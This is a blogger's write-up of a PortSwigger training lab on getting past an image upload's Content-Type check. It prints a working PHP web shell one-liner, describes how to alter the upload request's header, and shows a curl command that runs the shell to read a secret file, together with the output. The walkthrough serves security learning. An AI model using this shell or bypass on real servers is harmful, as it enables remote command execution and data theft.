Web shell upload via Content-Type restriction bypass | Dec 16, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Web shell upload via Content-Type restriction bypass! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Home page:
Login as user wiener:
In the previous lab, we found the image upload function is vulnerable.
Let’s upload a normal image file and intercept the request via Burp Suite:
As you can see, we’re sending a POST request to /my-account/avatar, and the Content-Type is image/jpeg.
Let’s forward that request:
It said that the file has been uploaded.
Next, we can try to upload a PHP web shell one liner, and intercept the request:
<?php system($_GET['cmd']); ?>
Now, the Content-Type is changed to application/x-php.
But notice what will happened when we forward that request:
That being said, looks like we couldn’t upload a web shell?
However, the Content-Type can be fully-controlled by the attacker.
We can just simply change the Content-Type from application/x-php to image/jpeg or image/png!
Let’s do that:
Boom! We’ve successfully uploaded the web shell!
In the previous lab, we found that the uploaded file lives in /files/avatar/<filename>. Let’s trigger the web shell and cat the secret!
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities/FUV-2]
└─# curl https://0aae00cf048ad257c40c7f24001d009d.web-security-academy.net/files/avatars/webshell.php --get --data-urlencode "cmd=cat /home/carlos/secret"
cn37DQhyNzu7Z80CzayF9giYekMXdTDC
What we’ve learned:
- Web shell upload via Content-Type restriction bypass